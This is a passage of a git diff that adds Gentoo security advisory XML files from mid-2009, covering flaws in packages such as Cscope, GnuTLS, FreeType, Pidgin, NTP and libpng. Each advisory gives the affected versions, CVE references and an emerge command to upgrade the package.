+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1897">CVE-2008-1897</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2119">CVE-2008-2119</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3263">CVE-2008-3263</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3264">CVE-2008-3264</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3903">CVE-2008-3903</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5558">CVE-2008-5558</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0041">CVE-2009-0041</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 02 Apr 2009 12:17:04 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 02 Apr 2009 12:31:27 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 02 Apr 2009 12:32:59 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200905-02.xml b/xml/htdocs/security/en/glsa/glsa-200905-02.xml
new file mode 100644
index 00000000..9942a7dc
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200905-02.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200905-02">
+  <title>Cscope: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    Multiple vulnerabilities in Cscope might allow for the remote execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">cscope</product>
+  <announced>May 24, 2009</announced>
+  <revised>May 24, 2009: 01</revised>
+  <bug>263023</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-util/cscope" auto="yes" arch="*">
+      <unaffected range="ge">15.7a</unaffected>
+      <vulnerable range="lt">15.7a</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Cscope is a developer's tool for browsing source code.
+    </p>
+  </background>
+  <description>
+    <p>
+    James Peach of Apple discovered a stack-based buffer overflow in
+    cscope's handling of long file system paths (CVE-2009-0148). Multiple
+    stack-based buffer overflows were reported in the putstring function
+    when processing an overly long function name or symbol in a source code
+    file (CVE-2009-1577).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted
+    source file, possibly resulting in the remote execution of arbitrary
+    code with the privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Cscope users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-util/cscope-15.7a&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0148">CVE-2009-0148</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1577">CVE-2009-1577</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 03 May 2009 18:51:15 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 04 May 2009 12:25:17 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 04 May 2009 12:25:25 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200905-03.xml b/xml/htdocs/security/en/glsa/glsa-200905-03.xml
new file mode 100644
index 00000000..c07b5fa0
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200905-03.xml
@@ -0,0 +1,78 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200905-03">
+  <title>IPSec Tools: Denial of Service</title>
+  <synopsis>
+    Multiple errors in the IPSec Tools racoon daemon might allow remote
+    attackers to cause a Denial of Service.
+  </synopsis>
+  <product type="ebuild">ipsec-tools</product>
+  <announced>May 24, 2009</announced>
+  <revised>May 24, 2009: 01</revised>
+  <bug>267135</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-firewall/ipsec-tools" auto="yes" arch="*">
+      <unaffected range="ge">0.7.2</unaffected>
+      <vulnerable range="lt">0.7.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The IPSec Tools are a port of KAME's IPsec utilities to the Linux-2.6
+    IPsec implementation. They include racoon, an Internet Key Exchange
+    daemon for automatically keying IPsec connections.
+    </p>
+  </background>
+  <description>
+    <p>
+    The following vulnerabilities have been found in the racoon daemon as
+    shipped with IPSec Tools:
+    </p>
+    <ul>
+    <li>Neil Kettle reported that
+    racoon/isakmp_frag.c is prone to a null-pointer dereference
+    (CVE-2009-1574).</li>
+    <li>Multiple memory leaks exist in (1) the
+    eay_check_x509sign() function in racoon/crypto_openssl.c and (2)
+    racoon/nattraversal.c (CVE-2009-1632).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could send specially crafted fragmented ISAKMP
+    packets without a payload or exploit vectors related to X.509
+    certificate authentication and NAT traversal, possibly resulting in a
+    crash of the racoon daemon.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All IPSec Tools users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-firewall/ipsec-tools-0.7.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1574">CVE-2009-1574</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1632">CVE-2009-1632</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 06 May 2009 21:47:03 +0000">
+    craig
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 07 May 2009 10:56:09 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 23 May 2009 07:52:41 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200905-04.xml b/xml/htdocs/security/en/glsa/glsa-200905-04.xml
new file mode 100644
index 00000000..6ece3329
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200905-04.xml
@@ -0,0 +1,84 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200905-04">
+  <title>GnuTLS: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in GnuTLS might result in a Denial of Service,
+    spoofing or the generation of invalid keys.
+  </synopsis>
+  <product type="ebuild">gnutls</product>
+  <announced>May 24, 2009</announced>
+  <revised>May 24, 2009: 01</revised>
+  <bug>267774</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-libs/gnutls" auto="yes" arch="*">
+      <unaffected range="ge">2.6.6</unaffected>
+      <vulnerable range="lt">2.6.6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    GnuTLS is an Open Source implementation of the TLS 1.0 and SSL 3.0
+    protocols.
+    </p>
+  </background>
+  <description>
+    <p>
+    The following vulnerabilities were found in GnuTLS:
+    </p>
+    <ul>
+    <li>Miroslav Kratochvil reported that lib/pk-libgcrypt.c does not
+    properly handle corrupt DSA signatures, possibly leading to a
+    double-free vulnerability (CVE-2009-1415).</li>
+    <li>Simon Josefsson
+    reported that GnuTLS generates RSA keys stored in DSA structures when
+    creating a DSA key (CVE-2009-1416).</li>
+    <li>Romain Francoise reported
+    that the _gnutls_x509_verify_certificate() function in
+    lib/x509/verify.c does not perform time checks, resulting in the
+    "gnutls-cli" program accepting X.509 certificates with validity times
+    in the past or future (CVE-2009-1417).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user or automated system to process a
+    specially crafted DSA certificate, possibly resulting in a Denial of
+    Service condition. NOTE: This issue might have other unspecified impact
+    including the execution of arbitrary code. Furthermore, a remote
+    attacker could spoof signatures on certificates and the "gnutls-cli"
+    application can be tricked into accepting an invalid certificate.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GnuTLS users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-libs/gnutls-2.6.6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1415">CVE-2009-1415</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1416">CVE-2009-1416</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1417">CVE-2009-1417</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 06 May 2009 18:48:21 +0000">
+    a3li
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 07 May 2009 11:40:21 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 24 May 2009 11:17:39 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200905-05.xml b/xml/htdocs/security/en/glsa/glsa-200905-05.xml
new file mode 100644
index 00000000..db47fa83
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200905-05.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200905-05">
+  <title>FreeType: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple integer overflows in FreeType might allow for the remote execution
+    of arbitrary code or a Denial of Service.
+  </synopsis>
+  <product type="ebuild">freetype</product>
+  <announced>May 24, 2009</announced>
+  <revised>May 25, 2009: 02</revised>
+  <bug>263032</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/freetype" auto="yes" arch="*">
+      <unaffected range="ge">2.3.9-r1</unaffected>
+      <unaffected range="lt">2.0</unaffected>
+      <vulnerable range="lt">2.3.9-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    FreeType is a high-quality and portable font engine.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tavis Ormandy reported multiple integer overflows in the
+    cff_charset_compute_cids() function in cff/cffload.c, sfnt/tccmap.c and
+    the ft_smooth_render_generic() function in smooth/ftsmooth.c, possibly
+    leading to heap or stack-based buffer overflows.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user or automated system to open a
+    specially crafted font file, possibly resulting in the execution of
+    arbitrary code with the privileges of the user running the application,
+    or a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All FreeType users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/freetype-2.3.9-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0946">CVE-2009-0946</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 06 May 2009 18:49:58 +0000">
+    a3li
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 07 May 2009 11:07:09 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 24 May 2009 13:55:28 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200905-06.xml b/xml/htdocs/security/en/glsa/glsa-200905-06.xml
new file mode 100644
index 00000000..8ba48999
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200905-06.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200905-06">
+  <title>acpid: Denial of Service</title>
+  <synopsis>
+    An error in acpid might allow remote attackers to cause a Denial of
+    Service.
+  </synopsis>
+  <product type="ebuild">acpid</product>
+  <announced>May 24, 2009</announced>
+  <revised>May 24, 2009: 01</revised>
+  <bug>268079</bug>
+  <access>remote</access>
+  <affected>
+    <package name="sys-power/acpid" auto="yes" arch="*">
+      <unaffected range="ge">1.0.10</unaffected>
+      <vulnerable range="lt">1.0.10</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    acpid is a daemon for the Advanced Configuration and Power Interface
+    (ACPI).
+    </p>
+  </background>
+  <description>
+    <p>
+    The acpid daemon allows opening a large number of UNIX sockets without
+    closing them, triggering an infinite loop.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Remote attackers can cause a Denial of Service (CPU consumption and
+    connectivity loss).
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All acpid users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sys-power/acpid-1.0.10&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0798">CVE-2009-0798</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 24 May 2009 00:11:41 +0000">
+    craig
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 24 May 2009 00:29:02 +0000">
+    craig
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 24 May 2009 18:05:05 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200905-07.xml b/xml/htdocs/security/en/glsa/glsa-200905-07.xml
new file mode 100644
index 00000000..f9df3614
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200905-07.xml
@@ -0,0 +1,81 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200905-07">
+  <title>Pidgin: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in Pidgin might allow for the remote execution of
+    arbitrary code or a Denial of Service.
+  </synopsis>
+  <product type="ebuild">pidgin</product>
+  <announced>May 25, 2009</announced>
+  <revised>May 25, 2009: 01</revised>
+  <bug>270811</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-im/pidgin" auto="yes" arch="*">
+      <unaffected range="ge">2.5.6</unaffected>
+      <vulnerable range="lt">2.5.6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Pidgin (formerly Gaim) is an instant messaging client for a variety of
+    instant messaging protocols.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been discovered in Pidgin:
+    </p>
+    <ul>
+    <li>Veracode reported a boundary error in the "XMPP SOCKS5 bytestream
+    server" when initiating an outgoing file transfer (CVE-2009-1373).</li>
+    <li>Ka-Hing Cheung reported a heap corruption flaw in the QQ protocol
+    handler (CVE-2009-1374).</li>
+    <li>A memory corruption flaw in
+    "PurpleCircBuffer" was disclosed by Josef Andrysek
+    (CVE-2009-1375).</li>
+    <li>The previous fix for CVE-2008-2927 contains a
+    cast from uint64 to size_t, possibly leading to an integer overflow
+    (CVE-2009-1376, GLSA 200901-13).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could send specially crafted messages or files using
+    the MSN, XMPP or QQ protocols, possibly resulting in the execution of
+    arbitrary code with the privileges of the user running the application,
+    or a Denial of Service. NOTE: Successful exploitation might require the
+    victim's interaction.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Pidgin users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-im/pidgin-2.5.6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1373">CVE-2009-1373</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1374">CVE-2009-1374</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1375">CVE-2009-1375</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1376">CVE-2009-1376</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200901-13.xml">GLSA 200901-13</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 25 May 2009 17:46:41 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 25 May 2009 17:46:49 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200905-08.xml b/xml/htdocs/security/en/glsa/glsa-200905-08.xml
new file mode 100644
index 00000000..83a563e1
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200905-08.xml
@@ -0,0 +1,84 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200905-08">
+  <title>NTP: Remote execution of arbitrary code</title>
+  <synopsis>
+    Multiple errors in the NTP client and server programs might allow for the
+    remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">ntp</product>
+  <announced>May 26, 2009</announced>
+  <revised>May 26, 2009: 01</revised>
+  <bug>263033</bug>
+  <bug>268962</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/ntp" auto="yes" arch="*">
+      <unaffected range="ge">4.2.4_p7</unaffected>
+      <vulnerable range="lt">4.2.4_p7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    NTP contains the client and daemon implementations for the Network Time
+    Protocol.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been found in the programs included in
+    the NTP package:
+    </p>
+    <ul>
+    <li>Apple Product Security reported a
+    boundary error in the cookedprint() function in ntpq/ntpq.c, possibly
+    leading to a stack-based buffer overflow (CVE-2009-0159).</li>
+    <li>Chris Ries of CMU reported a boundary error within the
+    crypto_recv() function in ntpd/ntp_crypto.c, possibly leading to a
+    stack-based buffer overflow (CVE-2009-1252).</li>
+    </ul>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker might send a specially crafted package to a machine
+    running ntpd, possibly resulting in the remote execution of arbitrary
+    code with the privileges of the user running the daemon, or a Denial of
+    Service. NOTE: Successful exploitation requires the "autokey" feature
+    to be enabled. This feature is only available if NTP was built with the
+    'ssl' USE flag.
+    </p>
+    <p>
+    Furthermore, a remote attacker could entice a user into connecting to a
+    malicious server using ntpq, possibly resulting in the remote execution
+    of arbitrary code with the privileges of the user running the
+    application, or a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    You can protect against CVE-2009-1252 by disabling the 'ssl' USE flag
+    and recompiling NTP.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All NTP users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/ntp-4.2.4_p7&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0159">CVE-2009-0159</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1252">CVE-2009-1252</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 25 May 2009 17:26:27 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 25 May 2009 17:27:05 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200905-09.xml b/xml/htdocs/security/en/glsa/glsa-200905-09.xml
new file mode 100644
index 00000000..8a5e3a0e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200905-09.xml
@@ -0,0 +1,77 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200905-09">
+  <title>libsndfile: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    Multiple heap-based buffer overflow vulnerabilities in libsndfile might
+    allow remote attackers to execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">libsndfile</product>
+  <announced>May 27, 2009</announced>
+  <revised>May 27, 2009: 01</revised>
+  <bug>269863</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/libsndfile" auto="yes" arch="*">
+      <unaffected range="ge">1.0.20</unaffected>
+      <vulnerable range="lt">1.0.20</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libsndfile is a C library for reading and writing files containing
+    sampled sound.
+    </p>
+  </background>
+  <description>
+    <p>
+    The following vulnerabilities have been found in libsndfile:
+    </p>
+    <ul>
+    <li>Tobias Klein reported that the header_read() function in
+    src/common.c uses user input for calculating a buffer size, possibly
+    leading to a heap-based buffer overflow (CVE-2009-1788).</li>
+    <li>The
+    vendor reported a boundary error in the aiff_read_header() function in
+    src/aiff.c, possibly leading to a heap-based buffer overflow
+    (CVE-2009-1791).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted AIFF
+    or VOC file in a program using libsndfile, possibly resulting in the
+    execution of arbitrary code with the privileges of the user running the
+    application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All libsndfile users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/libsndfile-1.0.20&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1788">CVE-2009-1788</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1791">CVE-2009-1791</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 22 May 2009 17:42:40 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 25 May 2009 09:17:01 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 25 May 2009 11:57:08 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200906-01.xml b/xml/htdocs/security/en/glsa/glsa-200906-01.xml
new file mode 100644
index 00000000..6b961601
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200906-01.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200906-01">
+  <title>libpng: Information disclosure</title>
+  <synopsis>
+    A vulnerability has been discovered in libpng that allows for information
+    disclosure.
+  </synopsis>
+  <product type="ebuild">libpng</product>
+  <announced>June 27, 2009</announced>
+  <revised>June 27, 2009: 01</revised>
+  <bug>272970</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/libpng" auto="yes" arch="*">
+      <unaffected range="ge">1.2.37</unaffected>
+      <vulnerable range="lt">1.2.37</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libpng is the official PNG reference library used to read, write and
+    manipulate PNG images.
+    </p>
+  </background>
+  <description>
+    <p>
+    Jeff Phillips discovered that libpng does not properly parse 1-bit
+    interlaced images with width values that are not divisible by 8, which
+    causes libpng to include uninitialized bits in certain rows of a PNG
+    file.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    A remote attacker might entice a user to open a specially crafted PNG
+    file, possibly resulting in the disclosure of sensitive memory
+    portions.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All libpng users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/libpng-1.2.37&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2042">CVE-2009-2042</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 21 Jun 2009 18:15:41 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 21 Jun 2009 18:23:22 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 27 Jun 2009 23:12:55 +0000">
+    keytoaster
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200906-02.xml b/xml/htdocs/security/en/glsa/glsa-200906-02.xml
new file mode 100644
index 00000000..d9cfc64d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200906-02.xml
@@ -0,0 +1,64 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200906-02">
+  <title>Ruby: Denial of Service</title>
+  <synopsis>
+    A flaw in the Ruby standard library might allow remote attackers to cause a
+    Denial of Service attack.
+  </synopsis>
+  <product type="ebuild">ruby</product>
+  <announced>June 28, 2009</announced>
+  <revised>June 28, 2009: 01</revised>
+  <bug>273213</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-lang/ruby" auto="yes" arch="*">
+      <unaffected range="ge">1.8.6_p369</unaffected>
+      <vulnerable range="lt">1.8.6_p369</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Ruby is an interpreted object-oriented programming language. The
+    elaborate standard library includes the "BigDecimal" class.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tadayoshi Funaba reported that BigDecimal in
+    ext/bigdecimal/bigdecimal.c does not properly handle string arguments
+    containing overly long numbers.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit this issue to remotely cause a Denial
+    of Service attack.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Ruby users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-lang/ruby-1.8.6_p369&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1904">CVE-2009-1904</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sun, 21 Jun 2009 14:29:50 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 28 Jun 2009 21:32:27 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200906-03.xml b/xml/htdocs/security/en/glsa/glsa-200906-03.xml
new file mode 100644
index 00000000..4cb6b327
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200906-03.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200906-03">
+  <title>phpMyAdmin: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple errors in phpMyAdmin might allow the remote execution of arbitrary
+    code or a Cross-Site Scripting attack.
+  </synopsis>
+  <product type="ebuild">phpmyadmin</product>
+  <announced>June 29, 2009</announced>
+  <revised>June 29, 2009: 01</revised>
+  <bug>263711</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-db/phpmyadmin" auto="yes" arch="*">
+      <unaffected range="ge">2.11.9.5</unaffected>
+      <vulnerable range="lt">2.11.9.5</vulnerable>
+    </package>
